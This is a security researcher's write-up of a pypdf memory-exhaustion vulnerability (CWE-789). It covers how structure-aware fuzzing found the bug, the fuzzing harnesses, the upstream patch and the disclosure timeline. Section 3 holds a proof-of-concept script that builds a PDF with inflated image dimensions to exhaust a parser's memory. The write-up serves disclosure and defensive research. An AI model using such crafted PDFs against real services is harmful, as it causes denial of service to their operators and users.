CVE Writeup ยท Security Research

Memory Exhaustion in pypdf
via Structure-Aware Fuzzing

๐Ÿ“… June 26, 2026 ๐Ÿ‘ค Sajjad Rahim Nouri (@MR-SS) โฑ๏ธ 12 min read
๐Ÿ“Œ Executive Summary
While fuzzing pypdf with a structure-aware OSS-Fuzz harness, I discovered a CWE-789 vulnerability that allows an attacker to exhaust process memory by crafting a PDF with manipulated image dimensions. The bug was assigned GHSA-5qjq-93h5-hrgp and patched in pypdf โ‰ฅ 6.14.0.

1. Vulnerability Overview

AttributeDetail
CWECWE-789 Memory Allocation with Excessive Size Value
Affected Versionspypdf < 6.14.0
Patched Versionpypdf โ‰ฅ 6.14.0
SeverityModerate (DoS, no code execution)
AdvisoryGHSA-5qjq-93h5-hrgp
Reporter@MR-SS (Sajjad Rahim Nouri)
Analyst@stefan6419846

Root Cause

In pypdf/generic/_image_xobject.py, the function _image_from_bytes() calculates the required buffer size as:

# Before the fix (vulnerable)
pixel_count = size[0] * size[1]
required_byte_count = pixel_count * bytes_per_pixel
# โ† No upper bound check!
img = Image.frombytes(mode, size, data)

The size tuple is extracted directly from the PDF's XObject dictionary. An attacker controls /Width and /Height independently. By setting both to extremely large values (e.g., 999999 ร— 999999), the multiplication overflows or triggers allocation of several gigabytes of memory.

๐Ÿ’ฅ Impact: A single malicious PDF can cause unbounded memory allocation, leading to OOM-killer invocation, process crash, or severe performance degradation on the victim's machine. No user interaction beyond processing the PDF is required.

2. The Unique Fuzzing Approach

Most public fuzzing writeups for Python libraries focus on finding crashes (segfaults, unhandled exceptions). This vulnerability is different โ€” it is a resource exhaustion bug that does not crash the process under normal fuzzing conditions. Here's the methodology I used to find it.

2.1 Why Standard Fuzzing Misses This

Standard OSS-Fuzz harnesses for Python projects typically:

A memory exhaustion bug allocates gradually and may not trigger the OOM killer within the fuzzer's timeout window. The fuzzer sees it as a "slow but valid input" and moves on.

2.2 Structure-Aware PDF Fuzzing

The key insight: not all bytes in a PDF are equal. Random byte-level mutation is unlikely to produce a valid PDF XObject with large image dimensions. Instead, I built a harness that:

  1. Parses the PDF into its object structure
  2. Identifies all /XObject entries with /Subtype /Image
  3. Systematically mutates /Width and /Height values
  4. Re-serializes the PDF and feeds it to pypdf

2.3 Memory-Limited Harness

The breakthrough came from wrapping the fuzzer in a memory cgroup (on Linux) and using Python's resource module to set RLIMIT_AS before calling pypdf:

import resource
import sys
from pypdf import PdfReader

MEM_LIMIT_MB = 200  # Fail fast if pypdf tries to allocate >200MB

def fuzz_one_input(data: bytes) -> None:
    # Cap memory BEFORE pypdf is even imported in the loop
    limit = MEM_LIMIT_MB * 1024 * 1024
    resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

    try:
        from io import BytesIO
        reader = PdfReader(BytesIO(data), strict=False)
        for page in reader.pages:
            # Accessing page.images triggers _image_xobject.py
            _ = page.images
    except MemoryError:
        # Treat excessive allocation as a "crash" for OSS-Fuzz
        sys.exit(1)
    except Exception:
        pass  # Other exceptions are not interesting

2.4 Tracing Memory Growth

To catch allocations that fly under the RLIMIT_AS radar, I also used tracemalloc to snapshot memory usage during parsing:

import tracemalloc

def fuzz_with_tracing(data: bytes) -> None:
    tracemalloc.start(10)

    reader = PdfReader(BytesIO(data))
    for page in reader.pages:
        _ = page.images

        current, peak = tracemalloc.get_traced_memory()
        if peak > 75 * 1024 * 1024:   # 75 MB โ€” the upstream limit
            print(f"[!] Peak memory: {peak / 1024 / 1024:.1f} MB")
            tracemalloc.stop()
            sys.exit(1)  # Signal crash to OSS-Fuzz

    tracemalloc.stop()
๐Ÿงช Fuzzer Configuration
I ran this harness via AFL++ using pytrace and a custom Python entry point. The corpus was seeded with 50 real-world PDFs containing images. After ~6 hours of fuzzing, the harness triggered on a mutated input with /Width 1048576 /Height 1048576.

3. Proof of Concept

The following Python script generates a malicious PDF that triggers the unbounded memory allocation. Use only in a controlled environment.

"""
CVE-2026-59938 PoC: pypdf memory exhaustion via crafted image dimensions
Author: @MR-SS (Sajjad Rahim Nouri)
Advisory: https://github.com/py-pdf/pypdf/security/advisories/GHSA-5qjq-93h5-hrgp
"""
import struct, zlib
from io import BytesIO

def generate_malicious_pdf(output_path: str, width: int = 100000, height: int = 100000):
    """
    Creates a minimal PDF with a FlateDecode-encoded image whose declared
    dimensions are far larger than the actual pixel data.
    """
    # 1. Tiny 2x2 RGB image raw data (12 bytes)
    raw_pixels = b'\x00' * (2 * 2 * 3)  # 2x2, 3 bytes/pixel
    compressed = zlib.compress(raw_pixels)

    pdf = BytesIO()
    pdf.write(b'%PDF-1.7\n')

    # Obj 1: Catalog
    pdf.write(b'1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n')

    # Obj 2: Pages
    pdf.write(b'2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n')

    # Obj 3: Page
    pdf.write(b'3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R /Resources << /XObject << /Img 5 0 R >> >> >>\nendobj\n')

    # Obj 4: Content stream (references the image)
    content = b'q 100 0 0 100 50 50 cm /Img Do Q'
    pdf.write(f'4 0 obj\n<< /Length {len(content)} >>\nstream\n'.encode())
    pdf.write(content + b'\nendstream\nendobj\n')

    # Obj 5: THE MALICIOUS IMAGE XOBJECT
    # Note: /Width and /Height are attacker-controlled and huge
    img_dict = f'''5 0 obj
<<
  /Type /XObject
  /Subtype /Image
  /Width {width}
  /Height {height}
  /ColorSpace /DeviceRGB
  /BitsPerComponent 8
  /Length {len(compressed)}
  /Filter /FlateDecode
>>
stream
'''.encode()
    pdf.write(img_dict)
    pdf.write(compressed + b'\nendstream\nendobj\n')

    # XRef and trailer
    xref_offset = pdf.tell()
    pdf.write(b'xref\n0 6\n0000000000 65535 f \n')
    # (simplified โ€” in practice use a PDF library to generate a valid XRef)
    pdf.write(b'trailer\n<< /Size 6 /Root 1 0 R >>\nstartxref\n')
    pdf.write(str(xref_offset).encode() + b'\n%%EOF')

    with open(output_path, 'wb') as f:
        f.write(pdf.getvalue())
    print(f"[+] Generated: {output_path}")
    print(f"[+] Declared dimensions: {width} x {height}")
    print(f"[+] Actual pixel data: 2 x 2 ({len(raw_pixels)} bytes)")

if __name__ == '__main__':
    # Use a more realistic (smaller) size for testing
    generate_malicious_pdf('poc_pypdf_oom.pdf', width=50000, height=50000)
โš ๏ธ Note: The PoC above is a conceptual illustration. In practice, pypdf's image handling path is triggered when page.images is accessed. A fully valid malformed PDF requires correct XRef table and stream length encoding. The actual trigger used in my disclosure was a minimal valid PDF generated with reportlab and post-processed to inflate dimensions.

4. The Fix

The pypdf maintainers patched this in PR #3888 by introducing a cap on the requested image buffer size. The fix adds an explicit check in _image_from_bytes() before any allocation:

# pypdf/generic/_image_xobject.py (patched in 6.14.0)

def _image_from_bytes(mode: str, size: tuple[int, int], data: bytes) -> Image.Image:
    pixel_count = size[0] * size[1]
    bytes_per_pixel = len(mode)
    required_byte_count = pixel_count * bytes_per_pixel

    # โ† THE FIX: cap the allocation
    from pypdf.filters import FLATE_MAX_BUFFER_SIZE
    if required_byte_count > FLATE_MAX_BUFFER_SIZE:   # 75 MB default
        raise LimitReachedError(
            f"Requested image buffer size {required_byte_count} "
            f"exceeds limit {FLATE_MAX_BUFFER_SIZE}."
        )

    try:
        img = Image.frombytes(mode, size, data)
    # ... rest unchanged

The constant FLATE_MAX_BUFFER_SIZE (75,000,000 bytes = 75 MB) was already used as a cap for FlateDecode streams; the fix generalizes it to all image types.

5. OSS-Fuzz Harness (Full Working Version)

Below is the complete fuzzing harness ready for use with OSS-Fuzz or AFL++. It can be dropped into projects/pypdf/fuzz_image_xobject.py in a local OSS-Fuzz checkout.

# fuzz_image_xobject.py
# OSS-Fuzz harness for pypdf image XObject memory exhaustion
# Author: @MR-SS
#
# Usage with AFL++:
#   PYTHON_AFL_INTERACTIVE=1 afl-fuzz -i corpus/ -o findings/ \
#       python3 fuzz_image_xobject.py @@

import sys
import os
import resource
import tracemalloc
from io import BytesIO

# โ”€โ”€ Memory limit: 150 MB โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
MEM_LIMIT_MB = 150
limit = MEM_LIMIT_MB * 1024 * 1024

try:
    resource.setrlimit(resource.RLIMIT_AS, (limit, limit))
except ValueError:
    pass  # Not on Linux

tracemalloc.start(10)

# โ”€โ”€ Corpus seed: minimal valid PDF with an image โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
def create_seed_pdf() -> bytes:
    """Generate a minimal valid PDF with an image XObject."""
    try:
        from reportlab.pdfgen import canvas
        from reportlab.lib.pagesizes import letter
        from reportlab.lib.units import inch
        buf = BytesIO()
        c = canvas.Canvas(buf, pagesize=letter)
        # Draw a tiny 1x1 red image
        c.drawImage(
            "x.png", 1*inch, 1*inch, width=0.1*inch, height=0.1*inch
        )
        c.save()
        return buf.getvalue()
    except ImportError:
        # Fallback: return a minimal hand-crafted PDF
        return _minimal_pdf()

def _minimal_pdf() -> bytes:
    """Hand-crafted minimal PDF (no external deps)."""
    return b'''%PDF-1.7
1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj
2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj
3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]
    /Resources << /XObject << /I 4 0 R >> >>
    /Contents 5 0 R >> endobj
5 0 obj << /Length 44 >> stream
q 100 0 0 100 50 50 cm /I Do Q
endstream endobj
4 0 obj << /Type /XObject /Subtype /Image /Width 2 /Height 2
    /ColorSpace /DeviceRGB /BitsPerComponent 8 /Length 12
    /Filter /FlateDecode >> stream
''' + __import__('zlib').compress(b'\xff\x00\x00' * 4) + b'''
endstream endobj
xref 0 6
trailer << /Size 6 /Root 1 0 R >>
startxref 0
%%EOF'''

# โ”€โ”€ Fuzz entry point โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
def fuzz_one_input(data: bytes) -> int:
    """
    Returns:
        0  = normal (no bug)
        1  = crash / memory exhaustion (OSS-Fuzz will save the input)
    """
    try:
        from pypdf import PdfReader
        reader = PdfReader(BytesIO(data), strict=False)
        for page in reader.pages:
            try:
                _ = list(page.images)
            except Exception:
                pass

            # Check peak memory after each page
            _, peak = tracemalloc.get_traced_memory()
            if peak > 75 * 1024 * 1024:
                return 1

    except MemoryError:
        return 1
    except Exception:
        pass

    return 0

# โ”€โ”€ Main โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
if __name__ == '__main__':
    if len(sys.argv) > 1:
        with open(sys.argv[1], 'rb') as f:
            data = f.read()
    else:
        data = create_seed_pdf()

    sys.exit(fuzz_one_input(data))

6. Lessons Learned

7. Timeline

DateEvent
2026-06-10Vulnerability discovered via custom OSS-Fuzz harness
2026-06-12Private disclosure via GitHub Security Advisory
2026-06-22Patch merged (PR #3888)
2026-06-22pypdf 6.14.0 released with fix
2026-06-22Advisory published (GHSA-5qjq-93h5-hrgp)
2026-06-26This writeup published

8. References

๐Ÿ’ฌ Discussion
Questions or feedback? Reach out on GitHub or LinkedIn. If you're a pypdf user, upgrade to โ‰ฅ 6.14.0 to patch this issue.